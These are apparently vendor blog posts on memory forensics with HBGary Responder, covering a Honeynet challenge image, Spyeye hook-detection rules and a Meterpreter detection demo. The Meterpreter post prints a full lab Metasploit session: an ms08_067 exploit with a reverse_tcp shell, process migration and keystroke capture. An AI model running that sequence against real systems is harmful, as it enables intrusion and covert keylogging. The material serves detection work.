Phil’s Blog    

Honeynet Project Memory Forensics Challenge

The Honeynet project released a memory forensics challenge a few months ago. I read over the winning three submissions and was very impressed with the creative solutions they came up with. The submitters used freeware tools and clearly spent a significant amount of time putting their answers together. These sort of academic challenges are fun and a great way to hone your skills. In a business setting however, time is money. I downloaded the sample memory image and ran it through Responder Pro with Digital DNA to see how quickly an answer can be obtained as to the integrity of the target system.

In Figure 1 below you can clearly see five modules that score red (high severity) in DDNA. The “memory-mod…” nomenclature tells us that there is injected code into these host processes. So now within 10 seconds of reviewing this memory image we know the system has indications of compromise. Granted it will require further inspection to determine the extent of the compromise but we’ve answered the first and most important question already.
Figure 1:

It is always a good idea to examine the module’s traits which caused it to score red. Figure 2 reveals some highly suspicious traits that further confirm our initial findings.
Figure 2:

Another quick source of intelligence is to right-click on an injected memory module and “View Strings”. Remember that when dealing with code in memory you are much more likely to find interesting strings than an obfuscated binary on disk. This particular injected code reveals some tell-tale signs of the Zbot/Zeus trojan. The hardcoded file paths in Figure 3 are a dead giveaway.
Figure 3:

This memory image also reveals a clue in the sockets listing. Notice Adobe creating an outbound connection on port 80.
Figure 4:

One can then search the memory image for IP and tie back to a domain. Although you could do a DNS lookup at the time of the investigation it is valuable to see how the IP resolved at the time of the compromise. See Figure 5 for an example of proximity searching an unknown IP in memory.
Figure 5:

Finally, malwaredomains.com validates our suspicions regarding this domain name and IP address.
Figure 6:

Clearly this host has security issues. This challenge went a step further than just determining if the system was compromised. It also required the winning submissions to extract PDF’s from the raw memory image to determine HOW the system was compromised. Responder has the ability to extract image fragments and HTML fragments today through the plugin mechanism. These plugins work in a similar way to the Foremost tool that looks for headers of various file types. HBGary will provided additional plugins which cover other popular file types such as PDF and Office Documents. In the near-term please contact your sales resource to obtain the existing plugins.
Consider the scenario where you have determined which file had performed the exploit and you would like to recover it. Results such as shown in Figure 7 could be transformed into an extracted file for more detailed analysis.
Figure 7:

In summary, when you are in a professional environment where every hour of labor costs money and there are more security incidents than your analysts can handle, you must work efficiently to answer the most pressing questions. HBGary’s technology enables an analyst to speedily and accurately accomplish their organization’s mission.

Thoughts on Spyeye 1.0.7

In this post I’ll demonstrate that Digital DNA detects the Spyeye trojan, explain why the “Column Chooser” in Responder is useful, and describe how to edit the Baserules.txt file to enumerate Userland hooks that are commonly used by banking trojans.

I recently had an opportunity to get a copy of the Spyeye 1.0.7 builder. So I could create my own specifically configured sample and do some tests with Responder Pro. If you haven’t heard of Spyeye see this interesting interview with the author. I care about this bot because not only is it similar to Zbot/ZeuS in approach and intent but it also can KILL Zbot/ZeuS if it exists on the same infected box. I think it takes some guts to be just some dude taking on THE banking trojan. Also it’s been in the news and I wanted to see how Responder can help me identify an infected memory image.

First thing I see after loading up my test image are great DDNA scores. Also notice how I’ve used the “Column Chooser” to add the “Process ID” and “Path” columns. With processes such as svchost, there are multiple copies running and I’d like to know which PID I’m dealing with.

There are some interesting traits identified. As you can see from the above graphic there is no path to disk for this executable code. In other words we have code injected into a host process. It’s not a library loaded from somewhere on disk.

Another huge takeaway I want the reader to have is the Userland hook detection in Responder. The Baserules.txt file in the Responder directory offers the user the ability to add detection rules based on different criteria. Responder ships with some default rules, one of which fired on Spyeye’s hooking of the ’send’ function. The following rule is what fired:

SuspiciousHook:1.0:1:send:USERMODE:send - This hook may be able to monitor network traffic

I added the following rules to my Baserules.txt based on Microsoft’s analysis of Spyeye:

SuspiciousHook:1.0:1:TranslateMessage:USERMODE:send - This hook may be used in keylogging
SuspiciousHook:1.0:1:NtResumeThread:USERMODE:send - This hook may allow ntdll.dll hooking
SuspiciousHook:1.0:1:LdrLoadDll:USERMODE:send - This hook may be able to alter visibly loaded dlls
SuspiciousHook:1.0:1:InternetCloseHandle:USERMODE:send - This hook may be able to monitor network traffic
SuspiciousHook:1.0:1:HttpSendRequestA:USERMODE:send - This hook may be able to monitor network traffic
SuspiciousHook:1.0:1:HttpSendRequestW:USERMODE:send - This hook may be able to monitor network traffic
SuspiciousHook:1.0:1:PR_Write:USERMODE:send - This hook may be able to monitor network traffic

Remember that you must edit your Baserules.txt file PRIOR to importing a memory image for the first time. If this is done the new rules should fire and be displayed in the “Report” tab. Here are some example hits in the Wininet dll:

Why not detect all Userland hooks you ask? This could get ugly. There would be many false positives. Windows hooks are all over the place. So keep your search to the APIs that allow the attackers to get the information they want.

Back to that ’send’ function…Pick a ws2_32.dll module in an svchost process from the DDNA tab and “View Symbols”. Search for the string “send”. Then “Add to Canvas”. Observe the JMP to another location in memory:

Use the “Memory Map” feature under the Process folder in the Objects tab for the svchost that you are inspecting. Looks like an unidentified module:

By right-clicking on the ‘Unidentified’ module and selecting “View Code”, the module will be disassembled thus revealing the X86 code that our original ’send’ points to:

0EA58E32 loc_0EA58E32:
0EA58E32 inc eax
0EA58E33 dec eax
0EA58E34 push dword ptr [esp+0x10]
0EA58E38 push dword ptr [esp+0x10]
0EA58E3C push dword ptr [esp+0x10]
0EA58E40 push dword ptr [esp+0x10]
0EA58E44 push 0×0EA6202C // xWS2send
0EA58E49 push 0×0EA72B48 // data_0EA72B48
0EA58E4E call 0×0EA58994▲ // sub_0EA58994

From here you start graphing this code location, thus beginning on a longer RE journey. The point for many customers though is that we can identify the infection, follow the Userland hooks to other areas of memory, and ultimately make the call that this machine needs remediation.

Parallels and Responder

I knew that Responder could import memory images from:

But a current customer has brought it to my attention that Responder can also import Parallels .mem memory snapshots as well (Thanks Sean!). This is important to me because I had been telling my Mac/Parallels customers to just run Fastdump Pro from within the virtual machine they were using. This new solution allows you to take advantage of the CPU freezing ability of the host operating system.

He explains that the procedures are:

Meterpreter: Be Afraid

…unless you’re an HBGary customer of course.

I’ve been speaking with a number of disk forensic shops lately. They’ve heard that memory forensics is vital to investigations but are just now receiving mandates to perform volatile memory acquisitions PRIOR TO pulling the power plug and doing the disk imaging. Additionally, vendors of forensic technologies are now pushing this concept as part of their work flow. They are providing ways of doing remote memory acquisition and making it brain-dead simple. Some of them even have some memory analysis components. I feel HBGary outshines them in at this stage of the investigation, hence this post.

Let’s take a scenario where an attacker compromises a box and deploys a keylogger. They can do this while never touching the disk. It can be done with the Meterpreter payload of the Metasploit project. Meterpreter is certainly not new but it is getting more deadly by the day. First of all, Metasploit is now a commercially supported project. Secondly, you have smart people contributing increasingly nasty Meterpreter scripts.

So let’s get this straight…any idiot that can use a computer can use Metasploit to compromise a vulnerable system, log key strokes to a memory buffer, fool live forensic techniques and Anti-Virus through Meterpreter’s reflective DLL injection technique, and never touch the hard disk. Example performed in my lab.

Exploit Stage:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.59.131
RHOST => 192.168.59.131
msf exploit(ms08_067_netapi) > set LHOST 192.168.59.1
LHOST => 192.168.59.1
msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on port 4444
[*] Triggering the vulnerability…
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.59.1:4444 -> 192.168.59.131:1057)

List the current processes running:

meterpreter > ps

PID Name Path User
— —- —- —-
528 smss.exe \SystemRoot\System32\smss.exe NT AUTHORITY\SYSTEM
592 csrss.exe \??\C:\WINDOWS\system32\csrss.exe NT AUTHORITY\SY
196 explorer.exe \WINDOWS\Explorer.EXE ….trucated

“Migrate” our payload to the Explorer process:

meterpreter > migrate 196
[*] Migrating to 196…
[*] Migration completed successfully.

Confirm we’re working with the correct process:

meterpreter > getpid
Current pid: 196

Start our keylogger:

meterpreter > keyscan_start
Starting the keystroke sniffer…

View the results from our memory buffer”

meterpreter > keyscan_dump
Dumping captured keystrokes…
<Ctrl> <LCtrl> <Alt> <LMenu> notepad <Return> i am being keylogged <Return> <Ctrl> <LCtrl>

Here is what was going on for the victim machine:

We detect the injected Meterpreter payload(s) as demonstrated in the following picture. I won’t spend time dissecting reflective DLL injection but just know that this technique does not register with the host process and thus does not create any loader entries in the PEB. In other words it’s harder to detect on live systems than other injection techniques. There’s another plug for doing volatile memory forensics off-line. We don’t need to inspect that host PEB because we find that executable code in the VAD entries of that host process.

Another great feature of Responder is that you jump seamlessly from malware detection to memory forensics to reverse engineering…all in one place. While in reality it is lame to reverse engineer an open source module like we’re dealing with here, we have to use our imaginations. Let’s pretend we don’t know what this code is. During your inspection of the symbols for this injected code you see the GetAsyncKeyState function. We know this is a common way of keylogging by checking the status of every key using a tight loop to determine if it’s currently being depressed. Send that function to the Canvas in Responder.

Does Meterpreter detect the presence of a userland debugger? Look at the code that follows this GetAsyncKeyState function:

In summary, I hope I’ve made a good case for the importance of volatile memory forensics, Digital DNA, and maybe even the Responder Canvas. Remember, don’t pull that plug!